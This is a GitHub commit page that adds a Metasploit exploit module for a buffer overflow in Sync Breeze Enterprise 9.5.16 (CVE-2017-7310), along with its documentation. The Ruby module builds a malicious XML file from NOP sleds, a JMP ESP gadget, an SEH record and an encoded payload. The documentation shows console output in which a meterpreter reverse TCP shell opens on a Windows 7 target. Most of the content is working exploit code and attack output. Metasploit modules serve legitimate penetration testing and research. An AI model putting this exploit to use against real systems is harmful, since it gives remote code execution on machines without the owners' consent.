Skip to content

Commit a27cfea

Browse files
committed
Land rapid7#9416, Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
Merge branch 'land-9416' into upstream-master
2 parents d81d50b + 3922844 commit a27cfea

File tree

2 files changed

+120
-0
lines changed

2 files changed

+120
-0
lines changed
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 by using the import command option to import a specially crafted xml file.
2+
3+
## Vulnerable Application
4+
5+
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/e5c42cce3304c323776e4785e8fb4685-syncbreezeent_setup_v9.5.16.exe).
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do: `exploit/windows/fileformat/syncbreeze_xml`
11+
3. Do: `set PAYLOAD [PAYLOAD]`
12+
4. Do: `run`
13+
14+
## Example
15+
```
16+
msf > use exploit/windows/fileformat/syncbreeze_xml
17+
msf exploit(windows/fileformat/syncbreeze_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
18+
PAYLOAD => windows/meterpreter/reverse_tcp
19+
msf exploit(windows/fileformat/syncbreeze_xml) > set LHOST 192.168.216.5
20+
LHOST => 192.168.216.5
21+
msf exploit(windows/fileformat/syncbreeze_xml) > run
22+
23+
[*] Creating 'msf.xml' file ...
24+
[+] msf.xml stored at /root/.msf4/local/msf.xml
25+
msf exploit(windows/fileformat/syncbreeze_xml) > use exploit/multi/handler
26+
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
27+
PAYLOAD => windows/meterpreter/reverse_tcp
28+
msf exploit(multi/handler) > set LHOST 192.168.216.5
29+
LHOST => 192.168.216.5
30+
msf exploit(multi/handler) > run
31+
32+
[*] Started reverse TCP handler on 192.168.216.5:4444
33+
[*] Sending stage (179779 bytes) to 192.168.216.137
34+
[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.137:49830) at 2018-01-15 15:32:02 -0500
35+
36+
meterpreter > sysinfo
37+
Computer : IE11WIN7
38+
OS : Windows 7 (Build 7601, Service Pack 1).
39+
Architecture : x86
40+
System Language : en_US
41+
Domain : WORKGROUP
42+
Logged On Users : 2
43+
Meterpreter : x86/windows
44+
meterpreter >
45+
```
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
include Msf::Exploit::Remote::Seh
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
15+
'Description' => %q(
16+
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
17+
by using the import command option to import a specially crafted xml file.
18+
),
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'Daniel Teixeira'
23+
],
24+
'References' =>
25+
[
26+
[ 'CVE', '2017-7310' ],
27+
[ 'EDB', '41773' ]
28+
],
29+
'DefaultOptions' =>
30+
{
31+
'EXITFUNC' => 'seh',
32+
'DisablePayloadHandler' => 'true'
33+
},
34+
'Platform' => 'win',
35+
'Payload' =>
36+
{
37+
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
38+
'StackAdjustment' => -3500
39+
},
40+
'Targets' =>
41+
[
42+
['Windows Universal', { 'Ret' => 0x10015FFE } ]
43+
],
44+
'Privileged' => false,
45+
'DisclosureDate' => 'Mar 29 2017',
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
51+
])
52+
end
53+
54+
def exploit
55+
jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
56+
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
57+
jmp = "\xFF\xE0" # JMP ESP
58+
59+
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
60+
buffer << "\x90" * 1536
61+
buffer << jmpesp
62+
buffer << "\x90" * 18
63+
buffer << esp
64+
buffer << jmp
65+
buffer << "\x90" * 68
66+
buffer << generate_seh_record(target.ret)
67+
buffer << "\x90" * 10
68+
buffer << payload.encoded
69+
buffer << "\x90" * 5000
70+
buffer << "\n</classify>"
71+
72+
print_status("Creating '#{datastore['FILENAME']}' file ...")
73+
file_create(buffer)
74+
end
75+
end

0 commit comments

Comments
 (0)